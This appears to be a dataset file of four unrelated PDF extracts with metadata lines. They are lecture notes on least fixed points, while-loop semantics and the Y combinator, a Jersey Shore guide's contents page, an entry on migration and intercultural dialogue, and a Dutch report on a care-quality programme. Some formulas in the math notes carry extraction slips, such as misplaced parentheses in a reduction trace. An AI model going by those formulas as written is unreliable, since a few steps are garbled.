\( h^+ \) has four fixed points in \( Z \cup \{\bot\}: \) \[ \begin{align*} h^+(0) &= 0 \\ h^+(2) &= 2 \\ h^+(-2) &= -2 \\ h^+(\bot) &= \bot \end{align*} \] **Second Interpretation:** Think of \( h(n) = n^3 - 3n \) as a rule defining a “recursive” function that just has no actual recursive call of \( h. \) The corresponding functional \[ H : (Z \rightarrow Z) \rightarrow (Z \rightarrow Z) \] is defined by the rule: \[ H h n = n^3 - 3n. \] A function \( h \) satisfies definition \( h(n) = n^3 - 3n \) if and only if it is a fixed point of \( H, \) that is \( H h = h. \) The fixed point construction: \[ \begin{align*} H^0 \bot n &= \bot(n) = \bot \\ H^1 \bot n &= n^3 - 3n \\ H^2 \bot n &= n^3 - 3n \\ H^3 \bot n &= n^3 - 3n \\ &\vdots \\ H^k \bot n &= n^3 - 3n \\ &\vdots \end{align*} \] Therefore, the least fixed point is \( lub\{H^k(\bot)|k \geq 0\} = \lambda n . n^3 - 3n, \) which follows the same definition rule as the original function \( h. \) Revisiting Denotational Semantics The recursive definition \[ \text{execute} \llbracket \text{while } E \text{ do } C \rrbracket \text{ sto} = \begin{cases} \text{if evaluate} \llbracket E \rrbracket \text{ sto} = \text{bool(true)} \\ \quad \text{then execute} \llbracket \text{while } E \text{ do } C \rrbracket (\text{execute} \llbracket C \rrbracket \text{ sto}) \\ \quad \text{else sto} \end{cases} \] violates the principle of compositionality. The function \text{execute} \llbracket \text{while } E \text{ do } C \rrbracket satisfies the recursive definition above if and only if it is a fixed point of the functional \[ W f s = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } f(\text{execute} \llbracket C \rrbracket s) \text{ else } s \end{cases} = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } (f \cdot \text{execute} \llbracket C \rrbracket) s \text{ else } s. \end{cases} \] We obtain a nonrecursive and compositional definition of the meaning of a \text{while} command by means of \[ \text{execute} \llbracket \text{while } E \text{ do } C \rrbracket = \text{fix } W. \] We gain insight into both the \text{while} command and fixed point semantics by constructing a few terms in the ascending chain whose least upper bound is \text{fix } W, \[ W^0 \bot \subseteq W^1 \bot \subseteq W^2 \bot \subseteq W^3 \bot \subseteq \ldots \] where \text{fix } W = \text{lub}\{W^i \bot | i \geq 0\}. The fixed point construction for \(W\): \[ W^0 \bot s = \bot \] \[ W^1 \bot s = W(W^0 \bot) s = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } \bot(\text{execute} \llbracket C \rrbracket s) \text{ else } s \end{cases} = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } \bot \text{ else } s \end{cases} \] Let exC stand for the function \text{execute} \llbracket C \rrbracket. Then \[ W^2 \bot s = W(W^1 \bot) s = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } W^1 \bot (\text{exC } s) \text{ else } s \end{cases} = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } (\text{if evaluate} \llbracket E \rrbracket (\text{exC } s) = \text{bool(true)} \\ \quad \quad \text{then } \bot \text{ else } \text{exC } s) \quad \text{else } s \end{cases} \] \[ W^3 \bot s = W(W^2 \bot) s = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } W^2 \bot (\text{exC } s) \text{ else } s \end{cases} = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } (\text{if evaluate} \llbracket E \rrbracket (\text{exC } s) = \text{bool(true)} \\ \quad \quad \text{then } (\text{if evaluate} \llbracket E \rrbracket (\text{exC}^2 s) = \text{bool(true)} \\ \quad \quad \quad \text{then } \bot \text{ else } (\text{exC}^2 s)) \quad \quad \text{else } (\text{exC } s)) \quad \text{else } s \end{cases} \] \[ W^4 \bot s = \begin{cases} \text{if evaluate} \llbracket E \rrbracket s = \text{bool(true)} \\ \quad \text{then } (\text{if evaluate} \llbracket E \rrbracket (\text{exC } s) = \text{bool(true)} \\ \quad \quad \text{then } (\text{if evaluate} \llbracket E \rrbracket (\text{exC}^2 s) = \text{bool(true)} \\ \quad \quad \quad \text{then } (\text{if evaluate} \llbracket E \rrbracket (\text{exC}^3 s) = \text{bool(true)} \\ \quad \quad \quad \quad \text{then } \bot \text{ else } (\text{exC}^3 s)) \quad \quad \quad \text{else } (\text{exC}^2 s)) \quad \quad \text{else } (\text{exC } s)) \quad \text{else } s \end{cases} \] In general, \[ W^{k+1} \perp s = W (W^k \perp) s \] \[ = \text{if evaluate } [[E]] s = \text{bool(true)} \] \[ \quad \text{then (if evaluate } [[E]] (\text{exC} s) = \text{bool(true)} \] \[ \quad \quad \text{then (if evaluate } [[E]] (\text{exC}^2 s) = \text{bool(true)} \] \[ \quad \quad \quad \text{then (if evaluate } [[E]] (\text{exC}^3 s) = \text{bool(true)} \] \[ \quad \quad \quad \quad \vdots \] \[ \quad \quad \quad \quad \text{then } \perp \text{ else (exC}^k s)) \] \[ \quad \quad \quad \quad \text{else (exC}^{k-1} s)) \] \[ \quad \quad \vdots \] \[ \quad \text{else (exC}^2 s)) \] \[ \quad \text{else (exC} s)) \] \[ \text{else } s \] The function \( W^{k+1} \perp \) allows the body C of the while to execute up to k times. Thus this approximation to the meaning of the while command can handle any instance of a while with at most k iterations of the body. Any application of a while command will have some finite number of iterations, say n. Therefore its meaning is subsumed in the approximation \( W^{n+1} \perp \). The least upper bound of this ascending sequence provides semantics for the while command: \[ \text{execute } [[\text{while E do C}]] = \text{fix } W = \text{lub}(W^i \perp | i \geq 0). \] View the definition of \( \text{execute } [[\text{while E do C}]] \) in terms of the fixed point identity, \[ W(\text{fix } W) = \text{fix } W, \] where \[ W f s = \text{if evaluate } [[E]] s = \text{bool(true)} \] \[ \quad \text{then } f(\text{execute } [[C]] s) \text{ else } s. \] In this context, \[ \text{execute } [[\text{while E do C}]] = \text{fix } W \] Now define loop = fix W. Then \[ \text{execute } [[\text{while E do C}]] \] \[ = \text{loop} \] \[ \quad \text{where loop } s = (W \text{ loop}) s \] \[ = \text{loop where loop } s = \] \[ \quad \text{if evaluate } [[E]] s = \text{bool(true)} \] \[ \quad \text{then loop}(\text{execute } [[C]] s) \text{ else } s. \] This approach produces the compositional definition of \( \text{execute } [[\text{while E do C}]] \) used in the specification of Wren, Figure 9.11. --- **Fixed Point Induction** Induction on the construction of the least fixed point \( \text{lub}\{F^i \perp | i \geq 0\} \). Let \( \Phi(f) \) be a predicate that describes a property for an arbitrary function f defined recursively. To show \( \Phi \) holds for the least fixed point \( F_{fp} \) of the functional F corresponding to a recursive definition of f, two conditions are needed: Part 1: Show by induction that \( \Phi \) holds for each element in the ascending chain \[ \perp \subseteq F \perp \subseteq F^2 \perp \subseteq F^3 \perp \subseteq \ldots \] and Part 2: Show that \( \Phi \) remains true when the least upper bound is taken. Part 2 is handled by defining a class of predicates with the necessary property. A predicate is called **admissible** if it has the property that whenever the predicate hold for an ascending chain of functions, it also must hold for the least upper bound of that chain. --- **Theorem**: Any finite conjunction of inequalities of the form \( \alpha(F) \subseteq \beta(F) \), where \( \alpha \) and \( \beta \) are continuous functionals, is an admissible predicate. This includes terms of the form \( \alpha(F) = \beta(F) \). Proof: See [Manna72]. Mathematical induction is used to verify the condition in Part 1: Given a functional \( F : (D \rightarrow D) \rightarrow (D \rightarrow D) \) for some domain D and admissible predicate \( \Phi(f) \), show: a) \( \Phi(\perp) \) holds where \( \perp : D \rightarrow D \), and b) for any \( i \geq 0 \), if \( \Phi(F^i(\perp)) \), then \( \Phi(F^{i+1}(\perp)) \). An alternate version of condition b) is: b') for any \( f : D \rightarrow D \), if \( \Phi(f) \), then \( \Phi(F(f)) \). Either formulation is sufficient to infer that the predicate \( \Phi \) holds for every function in the ascending chain \( \{F^i \perp | i \geq 0\} \). Example \[ H \ h \ n = \begin{cases} 0 & \text{if } n=0 \\ (2n-1)+h(n-1) & \text{else} \end{cases} \] with least fixed point \( H_{fp} \). Prove that \( H_{fp} \subseteq \lambda n . n^2 \). Let \( \Phi(f) \) be the predicate \( f \subseteq \lambda n . n^2 \). a) Since \( \bot \subseteq \lambda n . n^2 \), \( \Phi(\bot) \) holds. b') Suppose \( \Phi(h) \), that is, \( h \subseteq \lambda n . n^2 \). Then \( H \ h \ n = \begin{cases} 0 & \text{if } n=0 \\ (2n-1)+h(n-1) & \text{else} \end{cases} \) \[ \subseteq \begin{cases} 0 & \text{if } n=0 \\ (2n-1)+(n-1)^2 & \text{else} \end{cases} \] \[ = \begin{cases} 0 & \text{if } n=0 \\ n^2 & \text{else} \end{cases} \] Therefore, \( \Phi(H(h)) \) holds, and by fixed point induction \( H_{fp} \subseteq \lambda n . n^2 \). Paradoxical Combinator An implementation of the fixed-point operator \( fix \) in the (untyped) lambda calculus: \[ \text{define } Y = \lambda f . (\lambda x . f (x x)) (\lambda x . f (x x)) \] or in the lambda calculus evaluator \[ \text{define } Y = (L f ((L x (f (x x))) (L x (f (x x))))). \] Reduction proves \( Y \) satisfies fixed-point identity. \[ Y \ E = (\lambda f . (\lambda x . f (x x)) (\lambda x . f (x x))) \ E \] \[ \Rightarrow (\lambda x . E (x x)) (\lambda x . E (x x)) \] \[ \Rightarrow E ((\lambda x . E (x x)) (\lambda x . E (x x))) \] \[ \Rightarrow E (\lambda h . (\lambda x . h (x x)) (\lambda x . h (x x))) \ E \] \[ = E (Y \ E). \] Calculation follows normal order reduction. Applicative order strategy leads to a nonterminating reduction: \[ Y \ E = (\lambda f . (\lambda x . f (x x)) (\lambda x . f (x x))) \ E \] \[ \Rightarrow (\lambda f . f ((\lambda x . f (x x)) (\lambda x . f (x x)))) \ E \] \[ \Rightarrow (\lambda f . f (f ((\lambda x . f (x x)) (\lambda x . f (x x))))) \ E \] \[ \Rightarrow \ldots \] Fixed-Point Identity \[ F(fix \ F) = fix \ F \] Add a reduction rule that carries out effect of fixed-point identity from right to left to replicate the functional \( F \)—namely, \( fix \ F \Rightarrow F(fix \ F) \). Consider this definition of a function involving powers of 2 with its associated functional: \[ \text{two } n = \begin{cases} 1 & \text{if } n=0 \\ 2 \cdot \text{two}(n-1)+1 & \text{else} \end{cases} \] and \[ \text{Two} = \lambda h . \lambda n . \begin{cases} 1 & \text{if } n=0 \\ 2 \cdot h(n-1)+1 & \text{else} \end{cases} \] The least fixed point of \( \text{Two} \), \( (fix \ \text{Two}) \), serves as the definition of the \( \text{two} \) function. The function \( (fix \ \text{Two}) \) is not recursive and can be “reduced” using the fixed-point identity \[ fix \ \text{Two} \Rightarrow \text{Two} (fix \ \text{Two}). \] The replication of the function encoded in the \( fix \) operator enables a reduction to create as many copies of the original function as it needs. \[ (fix \ \text{Two}) \ 4 \] \[ \Rightarrow (\text{Two} (fix \ \text{Two})) \ 4 \] \[ \Rightarrow (\lambda h . \lambda n . \begin{cases} 1 & \text{if } n=0 \\ 2 \cdot h(n-1)+1 & \text{else} \end{cases}) (fix \ \text{Two}) \ 4 \] \[ \Rightarrow (\lambda n . \begin{cases} 1 & \text{if } n=0 \\ 2 \cdot (fix \ \text{Two})(n-1)+1 & \text{else} \end{cases}) \ 4 \] \[ \Rightarrow \begin{cases} 1 & \text{if } 4=0 \\ 2 \cdot (fix \ \text{Two})(4-1)+1 & \text{else} \end{cases} \] \[ \Rightarrow 2 \cdot ((fix \ \text{Two}) \ 3)+1 \] \[ \Rightarrow 2 \cdot ((\text{Two} (fix \ \text{Two})) \ 3)+1 \] \[ \Rightarrow 2 \cdot (\lambda h . \lambda n . \begin{cases} 1 & \text{if } n=0 \\ 2 \cdot h(n-1)+1 & \text{else} \end{cases}) (fix \ \text{Two}) \ 3)+1 \] \[ \Rightarrow 2 \bullet ((\lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet (fix \ Two)(n-1)+1) \ 3)+1 \] \[ \Rightarrow 2 \bullet ((\text{if } 3=0 \text{ then } 1 \text{ else } 2 \bullet (fix \ Two)(3-1))+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet ((fix \ Two) \ 2)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet ((Two \ (fix \ Two)) \ 2)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet ((\lambda h . \lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet h(n-1)+1) \ (fix \ Two) \ 2)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet ((\lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet (fix \ Two)(n-1)+1) \ 2)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (\text{if } 2=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet ((fix \ Two) \ (2-1))+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet ((fix \ Two) \ 1))+1)+1+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet ((Two \ (fix \ Two)) \ 1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet ((\lambda h . \lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet h(n-1)+1) \ (fix \ Two) \ 1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet ((\lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet (fix \ Two)(n-1)+1) \ 1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (if \ 1=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet ((fix \ Two)(1-1))+1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (2 \bullet ((fix \ Two) \ 0)+1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (2 \bullet ((Two \ (fix \ Two)) \ 0)+1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (2 \bullet ((\lambda h . \lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet h(n-1)+1) \ (fix \ Two) \ 0)+1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (2 \bullet ((\lambda n . \text{if } n=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet ((fix \ Two) \ (n-1))+1) \ 0)+1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (2 \bullet (if \ 0=0 \text{ then } 1 \\ \quad \text{else } 2 \bullet ((fix \ Two) \ (0-1))+1)+1)+1)+1)+1 \] \[ \Rightarrow 2 \bullet (2 \bullet (2 \bullet (2 \bullet 1+1)+1)+1) = 31 \]
<urn:uuid:18c83bdb-cac0-4c5b-87f6-009a5e649bdc>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
61,499
41 ACCOMMODATIONS A guide to hotels, motels, and bed & breakfast inns. Guide 41 – 44 45 STORES & SHOPS Guide 45 – 46 47 REAL ESTATE A guide to realtors, contractors, luxury condominiums, and mortgage companies. Guide 47 – 48 49 DINING OUT & FOOD A guide to restaurants and nightlife plus a brewery, coffee shops, ice cream parlors, and tea rooms. Guide 49 – 55 56 BOOKS ABOUT THE JERSEY SHORE Catalog 56 – 67 66 HOME PORT From Osprey To Giraffe. A new essay by poet/author Frank Finale. ON OUR COVER: "Digging For Sand Crabs" by Susan Barnes, Medford, NJ www.SusanBarnesFineArt.com www.jerseyshorevacation.com • www.jerseyshorebooks.com at Jersey Shore Publications Long Beach Island Vacation Guidebook & Map, the summertime sister publication of Jersey Shore Vacation Magazine, Jersey Shore Vacation Map, and Jersey Shore Magazine, is distributed biweekly during the summer season on the following dates: June 22, July 6, July 20, August 3, August 17, August 31, September 14, and September 28. The publisher expresses thanks to the following: New Jersey Commerce and Economic Growth Commission's Office of Travel and Tourism; New Jersey Division of Parks and Forestry; Monmouth County Department of Economic Development/Tourism; Monmouth County Parks System; Ocean County Public Affairs/Tourism Department; Ocean County Department of Parks and Recreation. Copyright 2018 by Jersey Shore Publications. All rights reserved. No part of this periodical may be reproduced without the consent of the publisher. (732) 892-1276. The publisher assumes no responsibility for errors appearing in this publication. 5
<urn:uuid:10633437-b488-4f02-9ff2-c5799188cc55>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,625
Center for Intercultural Dialogue Key Concepts in Intercultural Dialogue Migration Saskia Witteborn Associate Professor, School of Journalism and Communication, Chinese University of Hong Kong What is it? What work remains? Migration refers to the process of people moving from one place to another. This movement can occur within one country (internal migration) or across countries (trans- or international migration) and refer to permanent settlement, seasonal, or circular movement (e.g., returning to the country of origin). A range of factors contributes to migration, from economic, political, to social (IOM, 2011) as well as environmental. People migrate in order to find better work, education, and income opportunities, make lifestyle choices, escape poverty, war, or persecution (e.g., refugees). Who uses the concept? Migration is studied by scholars from many disciplines, including sociologists, anthropologists, economists, political scientists, and communication researchers. In communication studies, researchers have focused, among other things, on how migrants use new communication technologies to stay in touch with family and friends or to engage in political advocacy. They have also looked at media consumption by migrants and how the media portray migrants in their societies of settlement. Fit with intercultural dialogue? Migration intersects with intercultural dialogue as people on the move need to be able to relate to locals, institutions, and political decision-makers and vice versa. Intercultural dialogue, broadly defined, can enable locals and migrants to engage with their similarities and differences productively, which includes understanding the means and modes of communicating that shape those similarities and differences. Migration is part of globalization processes and needs understanding from interdisciplinary perspectives. Research on the role of the media in constructing migrants and shaping interactions between locals and migrants is important as these processes are consequential in an interconnected world in which the fear of difference remains high and is instrumentalized for political purposes. Researchers need to explore more how new technologies enable migrants to engage in political, sociocultural, and economic processes, connect with other migrants, and create a sense of belonging. Resources Diminescu, D. (2008). The connected migrant: An epistemological manifesto. Social Science Information, 47(4), 565-579. International Organization for Migration (IOM). (2011). Key migration terms. Retrieved from http://bit.ly/1n8tfiy Madianou, M., & Miller, D. (2012). Migration and new media. Transnational families and polymedia. London: Routledge. Papadopoulos, D., Stephenson, N., & Tsianos, V. (2008). Escape routes. Control and subversion in the twenty-first century. London: Pluto Press. Rosenblum, M.R., & Tichenor, D. J. (Eds.) (2012). Oxford handbook of the politics of international migration. Oxford: Oxford University Press. Witteborn, S. (2012). Forced migrants, new media practices, and the creation of locality. In I. Volkmer (Ed.), The Handbook of global media research (pp. 312-330). Malden, MA: Blackwell.
<urn:uuid:3970b44e-7e04-4a55-8d9e-37229c51ffda>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
3,203
Verslag slotbijeenkomst thema Kwaliteit meten en verantwoorden Maar liefst 45 zorgorganisaties namen deel aan het thema Kwaliteit meten en verantwoorden van Waardigheid en trots. In werkkamers werkten zij in groepen aan de ontwikkeling van methoden en instrumenten en vond kennisdeling plaats. Op 30 november was de slotbijeenkomst. 'Er is een beweging op gang gekomen, naar interne verbetering in plaats van louter verantwoording', zei Hannie Treffers, directeur programmamanagement bij Vilans, in het openingswoord. Een terugblik én inspiratie voor de toekomst. Anders kijken https:/www.waardigheidentrots.nl/verslagen/verslag-slotbijeenkomst-thema-kwaliteit-meten-en-verantwoorden/ Wat hadden de deelnemers aan het thema Kwaliteit meten en verantwoorden gemeen? 'Dat ze anders wilden kijken naar meten, verbeteren en verantwoorden van kwaliteit.' Aan het woord is Renate Westerink, themacoördinator bij Waardigheid en trots. Ze noemt een aantal kernbegrippen: cliëntperspectief, de dialoog, regelruimte, waarderend onderzoek en welbevinden. En ze beschrijft de situatie bij de start van het thema in november 2015. 'De organisaties waren sterk aan het verantwoorden. Dat kwam op de eerste plaats. Nu, twee jaar later, is het duidelijk anders. Kwaliteit en interne verbetering staan voorop, verantwoording volgt daaruit. Wat we zien is dat organisaties die een sterke visie hebben en op basis hiervan bewuste keuzes maken, het meeste beweging weten te creëren. Zowel in hun eigen organisatie als bij stakeholders." Drie publicaties De opdracht aan de deelnemers was helder: een alternatief voor de CQ. Renate: 'Van een uitgebreide tweejaarlijkse vragenlijst op papier met de focus op meten en verantwoorden wilden we naar kort-cyclische dialoog en observatie, digitaal, met de focus op inzichtelijk maken en verbeteren.' De 45 deelnemers gingen in werkkamers aan de slag. De resultaten van al die inspanningen vertaalde Waardigheid en trots naar drie publicaties: Kwaliteit bij zelfsturing Kwaliteitsfundament kleinschalig wonen Beschrijving meetinstrumenten cliëntervaring Kwaliteit bij zelfsturing 'Een van de werkkamers typeerde zich door zelfsturing', licht themacoördinator Machteld Koopmans toe. Vier organisaties onderzochten hoe ze de teams eigenaar konden maken van kwaliteit. Dat gebeurde op basis van diepte-interviews met beleidsmedewerkers. 'Uit de interviews haalden we de rode draden of overkoepelende thema's en dat werden de 'koffers' in de publicatie.' Het product is bedoeld voor staffunctionarissen. Voor een verdiepingsslag in de vorm van een teamspiegel ontbrak helaas de tijd. Het staat wel op het wensenlijstje. Kwaliteitsconcept voor kleinschalig wonen Themacoördinator Wibout Dragt neemt het woord. 'In de werkkamer kleinschalig wonen zijn organisaties de volgende uitdaging aangegaan: wat is onze visie, hoe maken we die transparant en meten we die?' Het resulteerde in tien klantbeloften, vanuit de visie dat welzijn voorafgaat aan zorg. Sinds oktober heeft het ontwikkelde kwaliteitsconcept voor kleinschalige woonzorgvoorzieningen een naam: Kwaliteit@ en een eigen website: www.welzijnindezorg.nl. Steeds meer kleinschalige woonzorginitiatieven melden zich aan en daarmee krijgt dit concept ook volgend jaar een concreet vervolg, aldus Wibout Dragt. https:/www.waardigheidentrots.nl/verslagen/verslag-slotbijeenkomst-thema-kwaliteit-meten-en-verantwoorden/ Bram de Haan, oprichter van De Oude Pastorie "Kwaliteit@ stelt het welzijn van de bewoners centraal en helpt de kwaliteit verhogen." Meetinstrumenten cliëntervaring Veel deelnemende organisaties ontwikkelden concrete meetinstrumenten. 'Dat gebeurde op allerlei manieren, want elke organisatie is anders', zegt themacoördinator Ewoud Jonker. 'Maar het doel was hetzelfde: zo goed mogelijk aansluiten bij de wensen en behoeften van de bewoners.' Ewoud bedacht een format om de instrumenten te beschrijven. Al die beschrijvingen samen vormen een publicatie. 'Het zijn instrumenten waarmee al concreet ervaring is opgedaan. Uiteraard kunnen we in de loop van volgend jaar meer instrumenten toevoegen.' 'Zijn dit dan ook de door de stuurgroep Kwaliteitskader verpleeghuiszorg erkende instrumenten om cliëntervaringen te meten?',  vraagt een van de deelnemers. 'Nee, welke instrumenten dat zijn is nog niet  bekend', antwoordt Ewoud. 'Maar deze instrumenten zijn wel werkend en goed doordacht.' Gerontopsychiatrie Inspiratie voor de toekomst deden de deelnemers vervolgens op in drie informatieve workshops. Opleider Gerke de Boer, auteur van onder andere het boek '"Die past hier niet" (Gerontopsychiatrie in het verpleeghuis)', gaat in op de zorg voor mensen met gerontopsychiatrische klachten. 'Het is een doelgroep waar we veel handelingsverlegenheid zien. Ondersteuning van hun verzorgenden is daarom essentieel: hoe komen zij in dit buitengewoon ingewikkelde vak het beste tot hun recht?' Gerontopsychiatrie onderscheidt zich van psychogeriatrie. 'De problemen zijn vaak omkeerbaar, oplosbaar en behandelbaar, stabiliteit is mogelijk. Dementie daarentegen is onomkeerbaar en onoplosbaar, en gaat van kwaad tot erger.' Dialoog Mensen met gerontopsychiatrische problemen en mensen met psychogeriatrische problemen laten echter wel vaak hetzelfde gedrag zien. Ook kunnen de gerontopsychiatrische en psychogeriatrische klachten elkaar overlappen. Gerke: 'Dan is het lastig vast te stellen of de klachten vanuit de dementie of de psychiatrie komen.' Hij laat de deelnemers kennismaken met een eenvoudig instrument, in te vullen door collega's binnen een team. Op een schaal van één tot vier kunnen ze aangeven hoe complex ze een cliënt vinden, hoe groot ze de kans achten dat de cliënt beter wordt, hoeveel zorg de cliënt nodig heeft en hoe hevig de cliënt lijdt. 'Wat levert dit op? Dialoog! Want niet alleen in de patiënt spelen zich dingen af, ook de wisselwerking tussen verzorgende en cliënt is onderdeel van de gerontospychiatrie.' Resocialiseren, revalidatie en rehabilitatie zijn kernbegrippen in de zorg gerontopsychiatrische cliënten. En natuurlijk secure diagnostiek. 'Het kan veel onbegrepen gedrag op afdelingen voorkomen.' Positieve gezondheid Positieve gezondheid, wat is het en wat kan je ermee? Hierover vertelt Machteld Huber. Zelf is ze een zeer ervaren patiënt. Ooit begonnen als huisarts besloot ze haar ervaringen in te zetten om de zorg te veranderen, https:/www.waardigheidentrots.nl/verslagen/verslag-slotbijeenkomst-thema-kwaliteit-meten-en-verantwoorden/ maar dan wel wetenschappelijk onderbouwd. 'De huidige gezondheidszorg is in feite ziektezorg. Minder dan 4% van het budget wordt besteed aan preventie en zelfmanagement. Terwijl van de chronische ziekten 70% veroorzaakt wordt door leefstijl. Hier is dus nog veel winst te behalen.' Blue zones Dat het kan bewijzen de 'blue zones' die verspreid over de aarde voorkomen. 'Hier worden mensen heel oud, zonder chronische ziekten en zonder morele aftakeling', zegt Machteld. De blue zones vertonen een aantal overeenkomsten: goed eten (vers, onbewerkt, gevarieerd en vooral plantaardig), natuurlijk bewegen, opstaan met een ideaal en vrienden om dat ideaal mee te verwezenlijken. 'Het belang van goed eten en bewegen was al wel bekend, maar minder bekend is dat die twee andere factoren minstens zo belangrijk zijn. Die gaan over zingeving en een sociaal netwerk.' Zes pijlers Zingeving en een sociaal netwerk zijn dan ook onderdeel van Machtelds concept positieve gezondheid, waarvan de definitie luidt: 'Gezondheid als het vermogen om je aan te passen en je eigen regie te voeren, in het licht van de sociale, fysieke en emotionele uitdagingen van het leven.' Gebaseerd op uitgebreid kwalitatief en kwantitatief onderzoek formuleerde ze vervolgens zes pijlers: Lichaamsfuncties Mentale functies en mentale beleving Spirituele dimensie Kwaliteit van leven Sociaal-maatschappelijke participatie Dagelijks functioneren Carola van den Brink, beleidsmedewerker bij het ministerie van VWS "Ook al stopt het programma "Ruimte voor verpleeghuizen", de energie die ik hier voel gaat door. Daarvan ben ik overtuigd." Brede opvatting Positieve gezondheid is dus een brede opvatting van gezondheid. Machteld maakte het visueel in een spinnenweb met zes assen. Het bleek een waardevol gespreksinstrument voor professionals. 'Het spinnenweb helpt om een ander soort gesprek aan te gaan, vanuit de vraag "wat wilt u veranderen". Mensen kijken in de spiegel van hun leven.' Inmiddels vindt het concept positieve gezondheid steeds meer navolging. 'De provincie Limburg wil de eerste positieve gezondheid provincie worden, er zijn ziekenhuizen die het omarmen. Maar nog belangrijker: mensen zelf ervaren het spinnenweb positief. Het ordent het leven en werkt bewustzijn verhogend. Juist omdat de vraag naar zingeving en eigen regie nadrukkelijk aanwezig is.' https:/www.waardigheidentrots.nl/verslagen/verslag-slotbijeenkomst-thema-kwaliteit-meten-en-verantwoorden/ Kwaliteit@ In de workshop Kwaliteit@ zoomt Bram de Haan, oprichter van het kleinschalige wooninitiatief De Oude Pastorie in Huizen, in op de tien klantbeloften. 'We gebruiken ze om kwaliteit te vertalen naar de dagelijkse praktijk.' Om de klantbeloften elke dag waar te maken biedt Kwaliteit@ 5 bouwstenen: informeren (iedereen is op de hoogte), conformeren (elke dag doen wat we beloven), signaleren (iedereen heeft hierin een rol), leren (we helpen elkaar te verbeteren) en waarderen (we laten ons graag toetsen). 'Zo maken we het werkbaar, klein, eenvoudig en begrijpelijk. Kwaliteit@ stelt het welzijn van de bewoners centraal en helpt de kwaliteit verhogen.' Informatiemarkt De bijeenkomst eindigt met een informatiemarkt, waar deelnemende organisaties hun instrumenten presenteren. Carola van den Brink, beleidsmedewerker bij het ministerie van VWS, verzorgt het slotwoord. 'Deze middag was een cadeautje. Het heeft me veel gebracht. Het thema is meten en verantwoorden, maar dat wat daaraan voorafgaat is minstens zo belangrijk. Ook al stopt dit onderdeel van het programma "Ruimte voor verpleeghuizen", de energie die ik hier voel gaat door. Daarvan ben ik overtuigd.' Meer weten Bekijk het themadossier Kwaliteit meten en verantwoorden Bezoek de website Die Past Hier Niet (Gerontopsychiatrie in het verpleeghuis) Lees meer over Machteld Huber: Een nieuw concept voor gezondheid Bezoek de website Institute for Positive Health Doe de De positieve gezondheid-test en -app Lees Kwaliteit@ biedt kleinschalige zorginitiatieven een eigen kwaliteitsconcept Bezoek welzijnindezorg.nl tags: Alliade (7) , Amstelring (17) , Archipel (32) , De Gouden Leeuw Groep (4) , De Hoven (8) , De Lange Wei (10) , De Leyhoeve (8) , De Leys , De Oude Pastorie (9) en 30 andere thema: Leren en verbeteren van kwaliteit (334) https:/www.waardigheidentrots.nl/verslagen/verslag-slotbijeenkomst-thema-kwaliteit-meten-en-verantwoorden/
<urn:uuid:f58fb2df-59cb-4747-bdf2-ad794d55efb5>
HuggingFaceFW/finepdfs/tree/main/data/nld_Latn/train
finepdfs
nld_Latn
10,882
